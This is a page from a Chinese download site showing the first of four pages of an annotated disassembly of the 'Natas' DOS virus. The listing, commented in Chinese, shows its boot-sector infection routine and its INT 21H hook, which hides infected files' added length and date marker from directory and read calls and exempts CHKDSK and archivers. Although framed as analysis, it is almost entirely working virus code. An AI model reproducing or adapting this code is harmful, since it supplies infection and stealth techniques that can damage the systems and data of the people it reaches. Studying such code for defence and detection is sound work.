⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas 幽灵王病毒的分析.htm

📁 1575病毒源程序分析
💻 HTM
📖 第 1 页 / 共 4 页
字号:
9E80:0494 BA7305         MOV	DX,0573 	;设置新 INT 21 到 CS:0573
9E80:0497 E83AFC         CALL	00D4 
9E80:049A C60673042E     MOV	Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2
9E80:049F E860FC         CALL	0102 		;POPA
9E80:04A2 80FC02         CMP	AH,02 
9E80:04A5 7509           JNZ	04B0 
9E80:04A7 83F901         CMP	CX,+01 
9E80:04AA 7504           JNZ	04B0 
9E80:04AC 0AF6           OR	DH,DH 		;读引导区转 04B6
9E80:04AE 7406           JZ	04B6 
9E80:04B0 E8F605         CALL	0AA9 		;执行原 INT 13H
9E80:04B3 CA0200         RETF	0002 
;===========================================================================
;读引导区时返回原引导记录及传染程序
9E80:04B6 E8F005         CALL	0AA9 		;执行原 INT 13H
9E80:04B9 E830FC         CALL	00EC 		;PUSHA
9E80:04BC 723D           JB	04FB 
9E80:04BE 06             PUSH	ES 
9E80:04BF 0E             PUSH	CS 
9E80:04C0 07             POP	ES 
9E80:04C1 1F             POP	DS 
9E80:04C2 B90001         MOV	CX,0100 
9E80:04C5 8BF3           MOV	SI,BX 
9E80:04C7 BF1314         MOV	DI,1413 
9E80:04CA 8BDF           MOV	BX,DI 
9E80:04CC FC             CLD	 
9E80:04CD F3             REPZ			;移动读出的引导记录
9E80:04CE A5             MOVSW	 		;到 CS:1413
9E80:04CF 0E             PUSH	CS 
9E80:04D0 1F             POP	DS 
9E80:04D1 E8B8FC         CALL	018C 		;判断是否已传染
9E80:04D4 752B           JNZ	0501 
9E80:04D6 B80102         MOV	AX,0201 	;已传染读出原引导记录
9E80:04D9 8B4C1B         MOV	CX,[SI+1B] 
9E80:04DC 8A741F         MOV	DH,[SI+1F] 
9E80:04DF E8D405         CALL	0AB6 
9E80:04E2 7217           JB	04FB 
9E80:04E4 A10000         MOV	AX,[0000] 
9E80:04E7 3907           CMP	[BX],AX 
9E80:04E9 7510           JNZ	04FB 		;无病毒转 04FB
9E80:04EB 8B7E0E         MOV	DI,[BP+0E] 
9E80:04EE 8E4600         MOV	ES,[BP+00] 
9E80:04F1 2BF3           SUB	SI,BX 
9E80:04F3 03FE           ADD	DI,SI 
9E80:04F5 8D7747         LEA	SI,[BX+47] 	;解密恢复原引导记录
9E80:04F8 E83BFB         CALL	0036 
9E80:04FB E804FC         CALL	0102 		;POPA
9E80:04FE CA0200         RETF	0002 
;==========================================================================
;传染引导记录程序
9E80:0501 80FA80         CMP	DL,80		;是硬盘不传染 
9E80:0504 73F5           JNB	04FB 
9E80:0506 B80103         MOV	AX,0301
9E80:0509 B90100         MOV	CX,0001 
9E80:050C E8A705         CALL	0AB6 
9E80:050F 72EA           JB	04FB 
9E80:0511 8BF2           MOV	SI,DX 
9E80:0513 8BFB           MOV	DI,BX 
9E80:0515 8B4513         MOV	AX,[DI+13] 
9E80:0518 8B4D18         MOV	CX,[DI+18] 
9E80:051B 294D13         SUB	[DI+13],CX 
9E80:051E 890E6F05       MOV	[056F],CX 
9E80:0522 33D2           XOR	DX,DX 
9E80:0524 0BC0           OR	AX,AX 
9E80:0526 74D3           JZ	04FB 
9E80:0528 E3D1           JCXZ	04FB 
9E80:052A F7F1           DIV	CX 
9E80:052C 0BD2           OR	DX,DX 
9E80:052E 75CB           JNZ	04FB 
9E80:0530 8B5D1A         MOV	BX,[DI+1A] 
9E80:0533 0BDB           OR	BX,BX 
9E80:0535 74C4           JZ	04FB 
9E80:0537 F7F3           DIV	BX 
9E80:0539 0BD2           OR	DX,DX 
9E80:053B 75BE           JNZ	04FB 
9E80:053D 48             DEC	AX 
9E80:053E 8AE8           MOV	CH,AL 
9E80:0540 B101           MOV	CL,01 
9E80:0542 4B             DEC	BX 
9E80:0543 8BD6           MOV	DX,SI 
9E80:0545 8AF3           MOV	DH,BL 
9E80:0547 8BDF           MOV	BX,DI 
9E80:0549 E80DFC         CALL	0159 
9E80:054C 72AD           JB	04FB 
9E80:054E B80903         MOV	AX,0309 
9E80:0551 33DB           XOR	BX,BX 
9E80:0553 E86005         CALL	0AB6 
9E80:0556 72A3           JB	04FB 
9E80:0558 B80103         MOV	AX,0301 
9E80:055B BB1314         MOV	BX,1413 
9E80:055E B90100         MOV	CX,0001 
9E80:0561 32F6           XOR	DH,DH 
9E80:0563 E85005         CALL	0AB6 
9E80:0566 8B5E0E         MOV	BX,[BP+0E] 
9E80:0569 8E5E00         MOV	DS,[BP+00] 
9E80:056C 816F130F00     SUB	Word Ptr [BX+13],000F 
9E80:0571 EB88           JMP	04FB </FONT></PRE><PRE><FONT color=#008080 size=2>;=======================================================================
;	新 INT 21 代码部分
;=======================================================================
9E80:0573 FA             CLI	 
9E80:0574 2E8C16D512     MOV	CS:[12D5],SS 	;保存堆栈地址
9E80:0579 2E8926D712     MOV	CS:[12D7],SP 
9E80:057E 0E             PUSH	CS 
9E80:057F 17             POP	SS 
9E80:0580 BCD913         MOV	SP,13D9 	;切换到内部堆栈
9E80:0583 FB             STI	 
9E80:0584 E865FB         CALL	00EC 		;PUSHA
9E80:0587 E421           IN	AL,21
9E80:0589 0C02           OR	AL,02 
9E80:058B E621           OUT	21,AL		;屏蔽键盘
9E80:058D 0E             PUSH	CS 
9E80:058E 1F             POP	DS 
9E80:058F BFFF13         MOV	DI,13FF 
9E80:0592 899DC4F6       MOV	[DI+F6C4],BX 	;MOV [0AC3],BX
9E80:0596 B024           MOV	AL,24
9E80:0598 E828FB         CALL	00C3 		;取中断向量 INT 24
9E80:059B 895DE8         MOV	[DI-18],BX 	;保存于 13E7
9E80:059E 8C45EA         MOV	[DI-16],ES 
9E80:05A1 C705B003       MOV	Word Ptr [DI],03B0 	;MOV AL,3
9E80:05A5 C64502CF       MOV	Byte Ptr [DI+02],CF 	;IRET
9E80:05A9 8BD7           MOV	DX,DI		;设置新 INT 24 中断向量 
9E80:05AB E826FB         CALL	00D4 
9E80:05AE E851FB         CALL	0102 		;POPA
9E80:05B1 E83CFC         CALL	01F0 		;恢复原 INT 21 中断 5 字节
9E80:05B4 E835FB         CALL	00EC 		;以便调用
;==========================================================================
9E80:05B7 80FC30         CMP	AH,30
9E80:05BA 750E           JNZ	05CA 
9E80:05BC 81C36606       ADD	BX,0666 	;病毒驻留检测, DOS 30H 功能
9E80:05C0 7508           JNZ	05CA 		;以 BX = F99A 调用
9E80:05C2 895E10         MOV	[BP+10],BX 	;返回 AX = 0000
9E80:05C5 895E0E         MOV	[BP+0E],BX 
9E80:05C8 EB5C           JMP	0626 		;INT 21 返回
;==========================================================================
9E80:05CA 80FC11         CMP	AH,11 
9E80:05CD 726F           JB	063E 
9E80:05CF 80FC12         CMP	AH,12 		;DOS 11,12 功能 (DIR)
9E80:05D2 776A           JA	063E 
9E80:05D4 E8EE04         CALL	0AC5 		;先调用原 INT 21
9E80:05D7 0AC0           OR	AL,AL		;未找到目录项返回 
9E80:05D9 7403           JZ	05DE 
9E80:05DB E9A502         JMP	0883 
9E80:05DE E84E04         CALL	0A2F 		;设置 INT 21 返回值(堆栈中)
9E80:05E1 E8AC04         CALL	0A90 		;取当前执行文件名
9E80:05E4 B84348         MOV	AX,4843 	;于 ES:DI (从 MCB 中)
9E80:05E7 AF             SCASW	 		; "HC"
9E80:05E8 750C           JNZ	05F6 
9E80:05EA B84B44         MOV	AX,444B 	; "DK"
9E80:05ED AF             SCASW	 
9E80:05EE 7506           JNZ	05F6 
9E80:05F0 B8534B         MOV	AX,4B53 	; "KS" 即 CHKDSK
9E80:05F3 AF             SCASW	 		;如果执行文件是 CHKDSK
9E80:05F4 7430           JZ	0626 		;则文件长度不减
9E80:05F6 E8A804         CALL	0AA1 		;取 DTA =&gt; ES:BX
9E80:05F9 33FF           XOR	DI,DI 
9E80:05FB 803FFF         CMP	Byte Ptr [BX],FF 
9E80:05FE 7503           JNZ	0603 
9E80:0600 BF0700         MOV	DI,0007 	;扩展 FCB
9E80:0603 8D711A         LEA	SI,[BX+DI+1A] 	;
9E80:0606 E82E04         CALL	0A37 		;如果是 ARJ,LHA,PK系列
9E80:0609 741B           JZ	0626 		;BACKUP,MODEM等文件执行中
9E80:060B 803CC8         CMP	Byte Ptr [SI],C8 ;则不改动 (以下同)
9E80:060E 7216           JB	0626 		;未传染返回
9E80:0610 802CC8         SUB	Byte Ptr [SI],C8 	;已传染,年号-100
9E80:0613 C4411D         LES	AX,[BX+DI+1D] 
9E80:0616 8CC1           MOV	CX,ES 
9E80:0618 2D8812         SUB	AX,1288 	;文件长 - 4744 字节
9E80:061B 83D900         SBB	CX,+00 
9E80:061E 7206           JB	0626 
9E80:0620 89411D         MOV	[BX+DI+1D],AX 
9E80:0623 89491F         MOV	[BX+DI+1F],CX 
9E80:0626 E8F503         CALL	0A1E 		;恢复 INT 24,开键盘
9E80:0629 E8D6FA         CALL	0102 		;POPA
9E80:062C E8C1FB         CALL	01F0 		;修改 INT 21 头 5 字节
9E80:062F FA             CLI	 
9E80:0630 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:0635 2E8B26D712     MOV	SP,CS:[12D7] 
9E80:063A FB             STI	 
9E80:063B CA0200         RETF	0002 
;========================================================================
9E80:063E 80FC4E         CMP	AH,4E		;INT 21 之寻找文件功能
9E80:0641 721B           JB	065E 
9E80:0643 80FC4F         CMP	AH,4F
9E80:0646 7716           JA	065E 
9E80:0648 E87A04         CALL	0AC5 		;先调用原 INT 21
9E80:064B 7303           JNB	0650 
9E80:064D E93302         JMP	0883 
9E80:0650 E8DC03         CALL	0A2F 		;保存返回 AX
9E80:0653 E84B04         CALL	0AA1 		;取 DTA 于 ES:BX
9E80:0656 BFFDFF         MOV	DI,FFFD 
9E80:0659 8D7719         LEA	SI,[BX+19] 	;更改文件长及时间
9E80:065C EBA8           JMP	0606 
;=======================================================================
9E80:065E 3D0242         CMP	AX,4202 	;INT 21 之测试文件长功能
9E80:0661 7524           JNZ	0687 
9E80:0663 E85C04         CALL	0AC2 		;调用原 INT 21
9E80:0666 72E5           JB	064D 
9E80:0668 E84003         CALL	09AB 		;取系统文件表项于 ES:DI
9E80:066B 7611           JBE	067E 
9E80:066D E8C703         CALL	0A37 		;
9E80:0670 740C           JZ	067E 
9E80:0672 2D8812         SUB	AX,1288 	;如果传染
9E80:0675 83DA00         SBB	DX,+00 		;文件长 - 4744
9E80:0678 894515         MOV	[DI+15],AX 
9E80:067B 895517         MOV	[DI+17],DX 
9E80:067E F8             CLC	 
9E80:067F E8AD03         CALL	0A2F 		;设置 INT 21 返回值
9E80:0682 89560A         MOV	[BP+0A],DX 	;设置返回 DX
9E80:0685 EB9F           JMP	0626 
;========================================================================
9E80:0687 3D0057         CMP	AX,5700 	;INT 21 之文件时间功能
9E80:068A 7412           JZ	069E 
9E80:068C 3D0157         CMP	AX,5701 
9E80:068F 752F           JNZ	06C0 
9E80:0691 E81703         CALL	09AB 		;设置文件时间
9E80:0694 7612           JBE	06A8 		;如果传染
9E80:0696 80FEC8         CMP	DH,C8 		;未加 100 年则加 100 年
9E80:0699 730D           JNB	06A8 
9E80:069B 80C6C8         ADD	DH,C8 
9E80:069E E89603         CALL	0A37 
9E80:06A1 7405           JZ	06A8 
9E80:06A3 E81C04         CALL	0AC2 
9E80:06A6 7303           JNB	06AB 
9E80:06A8 E9D801         JMP	0883 
9E80:06AB 80FEC8         CMP	DH,C8 		;取文件时间
9E80:06AE 7203           JB	06B3 		;如果传染,则减 100 年
9E80:06B0 80EEC8         SUB	DH,C8 
9E80:06B3 F8             CLC	 
9E80:06B4 E87803         CALL	0A2F 		;设置 INT 21 返回值
9E80:06B7 894E0C         MOV	[BP+0C],CX 	;设置返回 CX,DX 值
9E80:06BA 89560A         MOV	[BP+0A],DX 
9E80:06BD E966FF         JMP	0626 
;==========================================================================
9E80:06C0 80FC3F         CMP	AH,3F		;INT 21 之读文件功能
9E80:06C3 7403           JZ	06C8 
9E80:06C5 E9BD00         JMP	0785 
9E80:06C8 E8E002         CALL	09AB 		;取系统文件表项地址
9E80:06CB 76F8           JBE	06C5 
9E80:06CD E86703         CALL	0A37 		;压缩程序内退出
9E80:06D0 74F3           JZ	06C5 
9E80:06D2 C44511         LES	AX,[DI+11] 	;文件大小 =&gt; BX:AX
9E80:06D5 8CC3           MOV	BX,ES 
9E80:06D7 C45515         LES	DX,[DI+15] 	;当前指针 =&gt; SI:DX
9E80:06DA 8CC6           MOV	SI,ES 
9E80:06DC 2E83267C0700   AND	Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6           OR	SI,SI 
9E80:06E4 754D           JNZ	0733 
9E80:06E6 83FA18         CMP	DX,+18 
9E80:06E9 7348           JNB	0733 
9E80:06EB 51             PUSH	CX 		;当前指针 &lt; 0000:0018
9E80:06EC 03CA           ADD	CX,DX 
9E80:06EE F5             CMC	 
9E80:06EF 7303           JNB	06F4 		;&gt; 64K 转 06F7
9E80:06F1 83F918         CMP	CX,+18 
9E80:06F4 59             POP	CX 		;读文件头 18 字节内
9E80:06F5 7205           JB	06FC 		;转 06FC
9E80:06F7 B91800         MOV	CX,0018 	;一半在文件头 18 字节内
9E80:06FA 2BCA           SUB	CX,DX 		;CX=在文件头18字节内的字节数
9E80:06FC 50             PUSH	AX 
9E80:06FD 53             PUSH	BX 
9E80:06FE 52             PUSH	DX 
9E80:06FF 83EA18         SUB	DX,+18 		;BX:AX = 文件长
9E80:0702 03C2           ADD	AX,DX 		;
9E80:0704 F5             CMC	 
9E80:0705 1BDE           SBB	BX,SI 
9E80:0707 874515         XCHG	AX,[DI+15] 	;文件指针指向文件尾
9E80:070A 875D17         XCHG	BX,[DI+17] 	
9E80:070D 50             PUSH	AX 
9E80:070E 53             PUSH	BX 
9E80:070F 1E             PUSH	DS 
9E80:0710 B43F           MOV	AH,3F		;读出原文件头
9E80:0712 8B560A         MOV	DX,[BP+0A] 
9E80:0715 8E5E02         MOV	DS,[BP+02] 
9E80:0718 E8A703         CALL	0AC2 
9E80:071B 1F             POP	DS 
9E80:071C 8F4517         POP	[DI+17] 	;恢复原文件指针
9E80:071F 8F4515         POP	[DI+15] 
9E80:0722 5A             POP	DX 
9E80:0723 9C             PUSHF	 		;由于分两部分读出
9E80:0724 03D0           ADD	DX,AX 		;所以保留第一次读出数
9E80:0726 2E01067C07     ADD	CS:[077C],AX 	;返回时加上第二次读出数
9E80:072B 9D             POPF	 
9E80:072C 5B             POP	BX 		;BX:AX = 文件长
9E80:072D 58             POP	AX 
9E80:072E 7303           JNB	0733 
9E80:0730 E95001         JMP	0883 
9E80:0733 895515         MOV	[DI+15],DX 	;读出第一部分后的
9E80:0736 897517         MOV	[DI+17],SI 	;文件指针
9E80:0739 8B4E0C         MOV	CX,[BP+0C] 	;原读出字节数
9E80:073C 2E2B0E7C07     SUB	CX,CS:[077C] 	;减去已读出字节数
9E80:0741 2D8812         SUB	AX,1288 	;BX:AX = 文件长
9E80:0744 83DB00         SBB	BX,+00 
9E80:0747 50             PUSH	AX 
9E80:0748 53             PUSH	BX 		;BX:AX = 减去病毒后文件长
9E80:0749 2BC2           SUB	AX,DX 		;
9E80:074B 1BDE           SBB	BX,SI 
9E80:074D 5B             POP	BX 
9E80:074E 58             POP	AX 
9E80:074F 7304           JNB	0755 		;当前指针不在病毒内转 0755
9E80:0751 33C9           XOR	CX,CX 		;当前指针在病毒内
9E80:0753 EB14           JMP	0769 		;则读出 0 字节
9E80:0755 03D1           ADD	DX,CX 
9E80:0757 83D600         ADC	SI,+00 		;SI:DX = 读出后
9E80:075A 3BDE           CMP	BX,SI 		;指针将要在的位置
9E80:075C 770B           JA	0769 
9E80:075E 7204           JB	0764 
9E80:0760 3BC2           CMP	AX,DX 
9E80:0762 7305           JNB	0769 		;未到病毒内转 0769
9E80:0764 2BD1           SUB	DX,CX 		;
9E80:0766 91             XCHG	AX,CX 
9E80:0767 2BCA           SUB	CX,DX 		;CX = 到原文件尾长度
9E80:0769 B43F           MOV	AH,3F
9E80:076B 8B560A         MOV	DX,[BP+0A] 
9E80:076E 2E03167C07     ADD	DX,CS:[077C] 
9E80:0773 8E5E02         MOV	DS,[BP+02] 
9E80:0776 E84903         CALL	0AC2 		;读出文件

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -